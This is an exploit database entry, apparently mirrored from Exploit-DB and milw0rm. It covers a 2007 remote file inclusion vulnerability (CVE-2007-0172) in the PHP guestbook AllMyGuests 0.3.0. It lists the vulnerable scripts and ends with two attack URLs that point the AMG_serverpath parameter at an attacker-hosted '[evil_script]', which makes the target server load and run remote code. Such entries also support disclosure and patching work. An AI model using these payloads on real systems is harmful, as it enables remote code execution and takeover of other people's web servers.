Exploit AllMyGuests 0.3.0 - 'AMG_serverpath' Remote File Inclusion

[Exploiter]

EDB-ID

3093

Проверка EDB

1. Пройдено

Автор

BEKS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-0172

Дата публикации

2007-01-07

AllMyGuests 3.0 Remote File Inclusion Vulnerability

#Software: AllMyGuests

#Version: 3.0

#Download: http://download.php-resource.net/AllMyGuests/AllMyGuests0.3.0.zip

#Found By: beks

#Bug In:

/include/submit.inc.php
/admin/index.php
/include/cm_submit.inc.php
/comments.php
/index.php
/signin.php

#Risk: Medium

http://[target]/[AllMyGuests_Path]/comments.php?AMG_serverpath=[evil_script]
http://[target]/[AllMyGuests_Path]/signin.php?sent=1&AMG_serverpath=[evil_script]

# milw0rm.com [2007-01-07]